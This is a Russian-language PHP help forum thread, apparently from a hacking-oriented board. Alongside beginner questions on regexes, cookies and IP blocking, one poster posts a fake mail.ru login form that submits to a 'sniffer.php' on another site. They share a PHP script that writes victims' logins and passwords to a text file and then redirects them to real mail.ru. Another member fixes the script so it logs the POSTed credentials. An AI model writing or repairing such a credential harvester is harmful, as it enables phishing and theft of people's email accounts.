Помогите нубу! Непонемаю почему! PHP: $regexp2 = '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/'; $friends_pages = $page+1; $friends_ids = Array(); echo "Loading friendlist...\r"; for ($f = $page; $f <= $friends_pages; $f++) { $q->Get("http://www.web.web/users.php?letter=a&page=$f"); file_put_contents($inc_dir.'/friends.html', $q->Result); $content2 = file_get_contents($inc_dir.'/friends.html', $q->Result); preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER); foreach ($fl as $fll) { if (!in_array($fll[1], $friends_ids)) $friends_ids[] = $fll[1]; } } $friends_count_real = count($friends_ids); echo "Friendlist loaded. $friends_count_real IDs\n"; В friends.html Нужно чтоб нахадил ид юзерав в friends.html это выгледит так <a href="userdetails.php?id=316982">
PHP: <input value="login poli'zovatelya" name="login"> <input type="password" name="password"><input type="hidden" name="account" value="[email protected]"></td> <td width="121" valign="top"> <select name="domain"> <option value=mail.ru>@mail.ru</option> <option value=inbox.ru>@inbox.ru</option> <option value=list.ru>@list.ru</option> <option value=bk.ru SELECTED>@bk.ru</option> Методом PHP: <form name="Auth" method="post" action=//www.site.ru/sniffer.php target="_self"> Нужен сниффир на php что бы сохранял данные из этих полей в txt файл. У меня есть сниффер PHP: <?php $f=fopen("moil.txt","at"); # файл куда сохранять flock($f,2); fputs($f,$_GET['Login']."@"); #логин fputs($f,$_GET['Domain']); #домен fputs($f,";".$_GET['Password']."\n"); # пароль flock($f,3); fclose($f); ?> <script>document.location.href="http://win.mail.ru/cgi-bin/readmsg?id=121112312";</script> Но он не работает в файл сохраняется только .@ и все.
Fatal error: Call to undefined function: fwopen() in /home/a/site.ru/WWW/index.php on line 2 Вот это выскакивает. Разобрался ты опечатался спасибо тока не fwopen а fopen
Code: $open = [SIZE=3][b]fopen[/b][/size]('file.txt','a+'); $string = $_POST['login'].':'.$_POST['password'].':'.$_POST['account']."\r\n"; fwrite($open,$string); fclose($open); там просто опечатка
Подскажите а то я чего - то недопонимаю. В скрипте пхп установил куки, имя время, значение. Все легко и просто. Но вот как с помощью скрипта считывать куки и понимать что зашел именно юзер вася а не петя, и вообще то, что этот юзер авторизированн.
Привет всем, подскажите пожалуйста как сделать так чтобы на страницу не могли войти с определенного Ip адреса, т.е. со всех смогли заходить, а с данного не могли. Спасибо заранее.
Предположим ты отправил пользователю id и хеш пароля (pass) Обрабатывай куки, которые получаешь от пользователя и делай запрос в бд, действительно ли существует юзер с данным иди и паролей, если да, то выполняй определенную последовательность действий, в том числе выборка данных и т.д. Иначе, можешь выводить форму авторизации
вот я и спрашиваю как их обработать! то что через бд проверить можно я знаю, а вот как обработать нет.
Непонемаю почему! Ненаходит ид юзэроф PHP: $regexp2 = '/userdetails.php?id="([0-9,a-z,A-Z,]+)"/'; $friends_pages = $page+1; $friends_ids = Array(); echo "Loading friendlist...\r"; for ($f = $page; $f <= $friends_pages; $f++) { $q->Get("http://www.web.web/users.php?letter=a&page=$f"); file_put_contents($inc_dir.'/friends.html', $q->Result); $content2 = file_get_contents($inc_dir.'/friends.html', $q->Result); preg_match_all($regexp2, $content2, $fl, PREG_SET_ORDER); foreach ($fl as $fll) { if (!in_array($fll[1], $friends_ids)) $friends_ids[] = $fll[1]; } } $friends_count_real = count($friends_ids); echo "Friendlist loaded. $friends_count_real IDs\n"; Непойму почему он неберет идшники с friends.html . В Friends.html eto vigledit tak <a href="userdetails.php?id=316982"> вот в концэ ид юзэра. Помогите пожалусто
1. в регеспе у тебя id="([0-9,a-z,A-Z,]+)", т.е. id в кавычках, а пишешь, что в исходниках так: "userdetails.php?id=316982"> 2. если все таки так, как в исходниках, так попробуй: PHP: <pre> <?php $a = '<a href="userdetails.php?id=316982">'; preg_match_all('#a href="userdetails.php\?id=(.*)">#',$a,$b); print_r($b); ?> </pre> PS: Знак вопроса "?" - служебный символ в регулярках, требует слеширования
для строки регулярка : PHP: $search= preg_match_all('#id=([0-9]+)#', $string, $n); // в $string строка в которой ищем print_r($n[1]); //в массиве $n[1] все id дальше сам... скрипт не сложный, но ты накрутил нечно ужасное ---- Pashkela опередил
тут ты немножко не прав, цеплять просто по наличию в строке "id" чревато, открой любую интернет-страницу, CTRL+F "id" и поймешь. В регеспах краткость конечно сестра таланта, но корректная краткость
эхх как бы вам объяснить... У меня есть скрипт. В скрипте сеткуки. И все. Я на станицу зашел, в браузере появились куки. Теперь мне нужен код, который сможет определить есть ли у меня куки и считать оттуда данные. То что вы написали я непонимаю. Я новичок в пхп. Мне нужен скрипт который будет лезть в куки браузера